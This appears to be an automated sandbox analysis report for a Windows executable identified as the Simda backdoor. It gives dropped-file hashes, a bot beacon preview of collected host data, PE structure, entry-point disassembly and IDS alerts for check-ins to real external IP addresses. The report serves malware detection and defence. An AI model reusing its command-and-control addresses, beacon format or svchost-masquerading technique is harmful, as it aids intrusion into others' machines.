Process:	C:\Windows\apppatch\svchost.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6238
Entropy (8bit):	5.218070325458542
Encrypted:	false
SSDEEP:	96:ehyRg64Zem1MWiYixeouiiqP77aqOXZ1CGxoZ5IfI0IXI7IKILIBI9I9IomIgIgT:eAd4XIxJEYS7Rzc6nclQm
MD5:	BDE8185E4B45A90E46296BB071CBB425
SHA1:	77BEED06250DC8D2E32CBDEAE06281CFABAABE1D
SHA-256:	7E211D4682F544F04E09DCB6DD407F808C080D241ED70AE9B5E4C86C2028754A
SHA-512:	A216A84CE4FD878BA69EB1A2A2E53D0DC92307F5DC62F35979D91CC48C6C5CBA5EC3A0B34E554C60B1F1963C949E1C05A5E83F81C5590246389551FBBDAE58E8
Malicious:	false
Preview:	{BotVer: 4.0.1}.{Process: C:\Windows\apppatch\svchost.exe}.{Username: user}.{Processor: Intel64 Family 6 Model 143 Stepping 8, GenuineIntel}.{Language: ENG}.{Screen: 1280x1024@32}.{Date: 03:Dec:2024}.{Local time: 09:14:00}.{GMT: -5:00}.{Uptime: 21d 20h 48m}.{Windows directory: C:\Windows}.{Administrator: true}.IE history:.{http://go.microsoft.com/fwlink/p/?LinkId=255141}.netstat.{Proto.Local address.Remote address.State.TCP.0.0.0.0:135.0.0.0.0:0.LISTEN.TCP.0.0.0.0:445.0.0.0.0:0.LISTEN.TCP.0.0.0.0:5040.0.0.0.0:0.LISTEN.TCP.0.0.0.0:19706.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49664.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49665.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49666.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49667.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49668.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49669.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49670.0.0.0.0:0.LISTEN.TCP.0.0.0.0:64111.0.0.0.0:0.LISTEN.TCP.192.168.2.6:139.0.0.0.0:0.LISTEN.TCP.192.168.2.6:49480.1.1.1.1:53.TIME_WAIT.TCP.192.168.2.6:49482.2.23.209.182:80.TIME_WAIT.TCP.192.168.2.6:49697.192.168

C:\Windows\apppatch\svchost.exe

Download File

Process:	C:\Users\user\Desktop\UMwpXhA46R.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1179648
Entropy (8bit):	6.468101493516739
Encrypted:	false
SSDEEP:	24576:C800kHPa2DfTNjx+mZCkt76f/24pN+XNqNG6hditW:l0riKf9Ckt7c20+9qNxUW
MD5:	E132561B9EE04A2EDDF6460BE4A89362
SHA1:	0DB3025D5EF4529738B05DC2A0148D83E7F660D9
SHA-256:	ADF0EF04AF080030F6E91DA2B478CC52D85E3F9481C575012FBACA76CEFF6E1F
SHA-512:	233138A7AF07E4755054A11B125AE49A6288E9BDA1974E4AD0A6DCA507F9C4BF9AF5E67FB85C763B7EFA3761A815F16A49FB500C0B615F0E523FF67F65DF6551
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....".:.................2..........;........@....@...................................H.....................................R..........4............................................................................................................text...[0.......2.................. ..`.j......#k...P.......6..............@..@.nkytZ...............<..............@..@.N......hQ...P.......@..............@..@.fc.....&............N..............@....data....6...@...8...T..............@....s.......e..........................@....w..................................@....rsrc...4...........................@..@.reloc...............2..............@..B................................................................................................................................................................................................................................

C:\Windows\apppatch\svchost.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\UMwpXhA46R.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.468102568684418
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	UMwpXhA46R.exe
File size:	1'179'648 bytes
MD5:	239b74d7ac38014e61cc335630ac22d6
SHA1:	ef7eacbab6cd35771675717a0a84939f529c1ac4
SHA256:	a53ec0d01746cd6c44b9c207df3101c8fe7e78bbe08a125dad833b1a41636668
SHA512:	8a43731dd67421634928f30b6e1cff9638867d6a16bcdf93126526b3eaec64d2c9a5b98fa85f0b9be094c6efd300ccb020c48f8c9920fd88dd87a8b87ca04a4f
SSDEEP:	24576:L800kHPa2DfTNjx+mZCkt76f/24pN+XNqNG6hditW:w0riKf9Ckt7c20+9qNxUW
TLSH:	EA451241B3D954C0E2338A7798BAD72098B6BDAC5B30CE5F4394765D1DB32E1B839E06
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....".:.................2..........;........@....@..................................X9f...................................

File Icon


Icon Hash:	004ab5b5d5b59535

Static PE Info

General

Entrypoint:	0x401b3b
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x3A11222E [Tue Nov 14 11:29:50 2000 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	616d060f84174fbe550615d295f4ce51

Entrypoint Preview

Instruction
mov ecx, 00000000h
mov eax, ecx
call dword ptr [004150F8h]
mov dword ptr [00424B42h], eax
xor eax, eax
xor ebx, ebx
sub ebx, 0000010Ah
jnc 00007F13B4D5FB08h
add ebx, 00000D32h
mov ecx, ebx
shr ecx, 1
add ecx, esi
sub ecx, 00000222h
ror ecx, 05h
sub ecx, dword ptr [00425025h]
sub ecx, eax
sub dword ptr [00424AEDh], ecx
shr ecx, 1
add dword ptr [004250ADh], ecx
call 00007F13B4D60854h
mov dword ptr [00424377h], eax
push 00000001h
pop edx
push edx
mov ecx, 00486F5Ah
mov ebp, 00071E7Eh
mov eax, ebp
sub ecx, eax
call dword ptr [ecx]
mov dword ptr [00424170h], eax
mov esi, 0020A87Ch
mov eax, esi
shl eax, 1
call dword ptr [eax]
mov dword ptr [0042424Eh], eax
or eax, eax
jne 00007F13B4D5FB05h
mov edx, esi
dec edi
mov edi, 00000001h
mov eax, edi
push eax
mov ecx, 0020A86Ah
mov eax, ecx
shl eax, 1
call dword ptr [eax]
mov dword ptr [00425205h], eax
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov eax, ebp
push eax
push esp
pop ebp
sub esp, 14h
lea eax, dword ptr [004245CCh]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x15204	0xb4	.N
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5f000	0x29434	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x89000	0x3fe	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1b514	0x1c	.fc
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x305b	0x3200	746849c22bd1df3ec913e6afd3261c01	False	0.700703125	data	6.211906712870064	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.j	0x5000	0x6b23	0x600	0ac67a98e2d3f6254b28e45da115c69b	False	0.96875	data	7.160260489225009	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.nkytZ	0xc000	0x8a0b	0x400	a47b6a356a3431ac9df3442ebc526efb	False	0.728515625	data	5.978528077403749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.N	0x15000	0x5168	0xe00	1dbd683313ed000c6b75f32744694ec5	False	0.47572544642857145	data	5.278775089069264	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.fc	0x1b000	0x8d26	0x600	12c7d10915b83bfd9faa65fa82180001	False	0.736328125	data	5.748360690216942	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x24000	0x36c0	0x3800	9a257e09d714d8ab48b690e8453afbd6	False	0.81298828125	data	6.7672572781458635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.s	0x28000	0x65bb	0x800	30f797c52e34fe45fded3dfd0de177a6	False	0.2587890625	data	2.075341234110115	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.w	0x2f000	0x2fd0b	0x800	1958d4f52ae8d506c6908df58c4a3a64	False	0.6533203125	data	5.386043783353626	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5f000	0x29434	0x29600	496540dfc12657aab2ce18ca319f7ae5	False	0.9770404550604229	data	7.967828924738939	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x89000	0x3fe	0x400	a91b09921b19daa6e0bdbe6b0aaccf90	False	0.939453125	data	6.753512294366748	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x5f310	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4143996247654784
RT_DIALOG	0x603b8	0x50	data	English	United States	1.0
RT_STRING	0x60408	0x11a	data	English	United States	0.7304964539007093
RT_STRING	0x60524	0x114	data	English	United States	0.7282608695652174
RT_STRING	0x60638	0x10c	data	English	United States	0.7388059701492538
RT_STRING	0x60744	0x154	data	English	United States	0.6970588235294117
RT_STRING	0x60898	0x11a	Targa image data - Color 2 x 55 x 32 +42 +86 "\011"	English	United States	0.7269503546099291
RT_STRING	0x609b4	0x16e	data	English	United States	0.6857923497267759
RT_STRING	0x60b24	0x132	data	English	United States	0.7124183006535948
RT_STRING	0x60c58	0xfe	data	English	United States	0.7480314960629921
RT_RCDATA	0x60d58	0x27493	data	English	United States	1.0003480098188484
RT_GROUP_ICON	0x881ec	0x14	data	English	United States	1.1
RT_VERSION	0x88200	0x234	data	English	United States	0.5336879432624113

Imports

DLL	Import
kernel32.dll	SetLocaleInfoA, lstrcpyn, CreateNamedPipeA, GetEnvironmentVariableA, GetExitCodeThread, OpenEventW, GetLogicalDriveStringsA, CopyFileExW, SetPriorityClass, GetProcAddress, CreateMutexA, CreateMutexW, QueryPerformanceCounter, CreateThread, SetUnhandledExceptionFilter, OpenMutexW, GetExitCodeProcess, GlobalGetAtomNameA, GetFileTime, GetCalendarInfoA, MulDiv, CreateFileMappingW, CreateMailslotA, FreeResource, LocalFree, DeleteAtom, GetVolumeInformationA, RaiseException, AddAtomA, GlobalFindAtomW, RemoveDirectoryW, GlobalFindAtomA, CreateMailslotW, GetProcessHeaps, EndUpdateResourceA, CopyFileExA, CreateNamedPipeW, SleepEx, GetModuleHandleA, WaitForSingleObject, GetSystemDefaultLangID, SetEvent, TlsAlloc, SetCalendarInfoW, GetLastError, GetFileSize, lstrlen, DuplicateHandle, GetAtomNameW, GetStringTypeW, CreateFileA
USER32.DLL	CheckMenuItem, GetDC, DefDlgProcW, BringWindowToTop, GetDlgItem, EnumWindows, PeekMessageW, SetCursor, GetWindowLongA, MessageBoxIndirectW, CreatePopupMenu, keybd_event, GetWindowTextLengthA
gdi32.dll	CreateFontIndirectExA, CreatePolygonRgn, CreateDIBitmap, GetLogColorSpaceW, SetGraphicsMode, GdiGetBatchLimit, ScaleWindowExtEx, SelectObject, GetEnhMetaFileHeader, GetFontData, SetLayout, SetRectRgn, ExtSelectClipRgn, EnumFontFamiliesA, GetAspectRatioFilterEx, GetNearestPaletteIndex, PolylineTo, PatBlt, SelectClipRgn
ADVAPI32.DLL	RegEnumValueW, RegReplaceKeyA, RegCreateKeyW, RegQueryValueA, RegCreateKeyExA, RegReplaceKeyW, RegCloseKey
SHLWAPI.DLL	PathGetArgsW, ChrCmpIA, StrSpnW, PathAddBackslashW, PathIsUNCA, SHRegOpenUSKeyW, PathIsPrefixA, PathCompactPathExA
COMCTL32.DLL	FlatSB_SetScrollRange, InitCommonControls
winspool.drv	AddFormW, EnumMonitorsW, OpenPrinterW, GetJobW, DeleteMonitorA, EndDocPrinter, AddPrinterConnectionW, SetPrinterDataExW
INETCOMM.DLL	MimeOleParseRfc822Address, MimeOleParseRfc822AddressW, HrGetAttachIcon, EssSecurityLabelEncodeEx, MimeOleGetDefaultCharset, MimeOleGetFileExtension, HrAttachDataFromFile, EssKeyExchPreferenceEncodeEx, EssSignCertificateDecodeEx, MimeOleSMimeCapGetHashAlg, EssKeyExchPreferenceDecodeEx, MimeOleGetCharsetInfo, MimeOleGetCertsFromThumbprints

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-11T18:50:20.242899+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52127	178.162.203.226	80	TCP
2024-11-11T18:50:28.382178+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49714	18.208.156.248	80	TCP
2024-11-11T18:50:28.384108+0100	2021022	ET MALWARE Wapack Labs Sinkhole DNS Reply	1	1.1.1.1	53	192.168.2.6	63778	UDP
2024-11-11T18:50:28.388425+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.208.156.248	80	192.168.2.6	49714	TCP
2024-11-11T18:50:28.388425+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.208.156.248	80	192.168.2.6	49714	TCP
2024-11-11T18:50:28.394575+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49715	3.94.10.34	80	TCP
2024-11-11T18:50:28.400852+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	3.94.10.34	80	192.168.2.6	49715	TCP
2024-11-11T18:50:28.400852+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	3.94.10.34	80	192.168.2.6	49715	TCP
2024-11-11T18:50:28.853586+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49717	23.253.46.64	80	TCP
2024-11-11T18:50:28.967187+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49721	75.2.71.199	80	TCP
2024-11-11T18:50:28.995545+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49719	44.221.84.105	80	TCP
2024-11-11T18:50:29.049618+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49720	44.221.84.105	80	TCP
2024-11-11T18:50:29.056090+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	44.221.84.105	80	192.168.2.6	49720	TCP
2024-11-11T18:50:29.056090+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	44.221.84.105	80	192.168.2.6	49720	TCP
2024-11-11T18:50:29.129713+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49722	208.100.26.245	80	TCP
2024-11-11T18:50:29.132050+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49718	188.114.96.3	80	TCP
2024-11-11T18:50:29.132181+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49723	199.59.243.227	80	TCP
2024-11-11T18:50:29.316635+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49725	85.17.31.122	80	TCP
2024-11-11T18:50:29.332735+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49726	75.2.71.199	80	TCP
2024-11-11T18:50:29.336475+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49724	23.253.46.64	80	TCP
2024-11-11T18:50:29.938801+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49722	208.100.26.245	80	TCP
2024-11-11T18:50:30.305367+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49716	199.191.50.83	80	TCP
2024-11-11T18:50:30.453744+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49729	85.17.31.122	80	TCP
2024-11-11T18:50:30.765094+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49728	154.212.231.82	80	TCP
2024-11-11T18:50:31.135319+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49728	154.212.231.82	80	TCP
2024-11-11T18:50:31.277356+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49730	188.114.96.3	443	TCP
2024-11-11T18:50:31.640900+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49718	188.114.96.3	80	TCP
2024-11-11T18:50:32.163788+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49716	199.191.50.83	80	TCP
2024-11-11T18:50:32.974570+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49732	188.114.96.3	443	TCP
2024-11-11T18:50:33.801283+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49739	13.248.169.48	80	TCP
2024-11-11T18:50:34.292654+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49745	18.208.156.248	80	TCP
2024-11-11T18:50:34.316861+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49746	3.94.10.34	80	TCP
2024-11-11T18:50:34.461380+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49740	188.114.97.3	80	TCP
2024-11-11T18:50:35.422578+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49753	103.150.10.48	80	TCP
2024-11-11T18:50:36.286835+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49748	188.114.97.3	443	TCP
2024-11-11T18:50:36.525173+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49753	103.150.10.48	80	TCP
2024-11-11T18:50:36.618406+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49740	188.114.97.3	80	TCP
2024-11-11T18:50:38.639221+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49770	188.114.97.3	443	TCP
2024-11-11T18:50:39.231729+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49787	76.223.67.189	80	TCP
2024-11-11T18:50:39.333074+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49786	64.225.91.73	80	TCP
2024-11-11T18:50:39.459120+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49793	44.221.84.105	80	TCP
2024-11-11T18:50:39.661493+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49794	103.224.212.210	80	TCP
2024-11-11T18:50:39.707541+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49795	103.224.182.252	80	TCP
2024-11-11T18:50:40.071995+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49796	154.85.183.50	80	TCP
2024-11-11T18:50:40.396288+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49796	154.85.183.50	80	TCP
2024-11-11T18:50:41.413497+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.6	49809	TCP
2024-11-11T18:50:42.059796+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49821	64.225.91.73	80	TCP
2024-11-11T18:50:42.207628+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49822	72.52.179.174	80	TCP
2024-11-11T18:50:42.710031+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49829	72.52.179.174	80	TCP
2024-11-11T18:50:45.503052+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53361	52.34.198.229	80	TCP
2024-11-11T18:50:45.509709+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	52.34.198.229	80	192.168.2.6	53361	TCP
2024-11-11T18:50:45.509709+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	52.34.198.229	80	192.168.2.6	53361	TCP
2024-11-11T18:50:47.379554+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53377	44.221.84.105	80	TCP
2024-11-11T18:50:48.461931+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49722	208.100.26.245	80	TCP
2024-11-11T18:50:48.644765+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49718	188.114.96.3	80	TCP
2024-11-11T18:50:48.665125+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49728	154.212.231.82	80	TCP
2024-11-11T18:50:48.686836+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49722	208.100.26.245	80	TCP
2024-11-11T18:50:48.810984+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53397	199.59.243.227	80	TCP
2024-11-11T18:50:48.819147+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54643	85.17.31.122	80	TCP
2024-11-11T18:50:48.827041+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54642	23.253.46.64	80	TCP
2024-11-11T18:50:48.845213+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54644	75.2.71.199	80	TCP
2024-11-11T18:50:49.127177+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49728	154.212.231.82	80	TCP
2024-11-11T18:50:49.343575+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54648	23.253.46.64	80	TCP
2024-11-11T18:50:49.581438+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54647	75.2.71.199	443	TCP
2024-11-11T18:50:49.656007+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49716	199.191.50.83	80	TCP
2024-11-11T18:50:49.693241+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54646	85.17.31.122	80	TCP
2024-11-11T18:50:49.946205+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54645	188.114.96.3	443	TCP
2024-11-11T18:50:50.392760+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49718	188.114.96.3	80	TCP
2024-11-11T18:50:51.677988+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54664	188.114.96.3	443	TCP
2024-11-11T18:50:52.549462+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49753	103.150.10.48	80	TCP
2024-11-11T18:50:52.661556+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49740	188.114.97.3	80	TCP
2024-11-11T18:50:53.193925+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49753	103.150.10.48	80	TCP
2024-11-11T18:50:54.724755+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54680	188.114.97.3	443	TCP
2024-11-11T18:50:55.237760+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49740	188.114.97.3	80	TCP
2024-11-11T18:50:58.118452+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54701	188.114.97.3	443	TCP
2024-11-11T18:50:58.559668+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49796	154.85.183.50	80	TCP
2024-11-11T18:50:58.867087+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54724	103.224.212.210	80	TCP
2024-11-11T18:50:58.868021+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	54725	103.224.182.252	80	TCP
2024-11-11T18:50:58.874229+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	49796	154.85.183.50	80	TCP
2024-11-11T18:51:01.715916+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53764	72.52.179.174	80	TCP
2024-11-11T18:51:02.022620+0100	2021022	ET MALWARE Wapack Labs Sinkhole DNS Reply	1	1.1.1.1	53	192.168.2.6	58475	UDP
2024-11-11T18:51:02.257245+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53766	72.52.179.174	80	TCP
2024-11-11T18:51:02.644676+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53773	99.83.170.3	80	TCP
2024-11-11T18:51:02.653221+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53774	44.221.84.105	80	TCP
2024-11-11T18:51:02.687438+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53772	162.255.119.102	80	TCP
2024-11-11T18:51:02.851434+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53777	199.59.243.227	80	TCP
2024-11-11T18:51:02.871820+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	53776	208.100.26.245	80	TCP
2024-11-11T18:51:03.077021+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52119	3.94.10.34	80	TCP
2024-11-11T18:51:03.122626+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52122	199.59.243.227	80	TCP
2024-11-11T18:51:03.122914+0100	2804852	ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin	1	192.168.2.6	52121	44.221.84.105	80	TCP
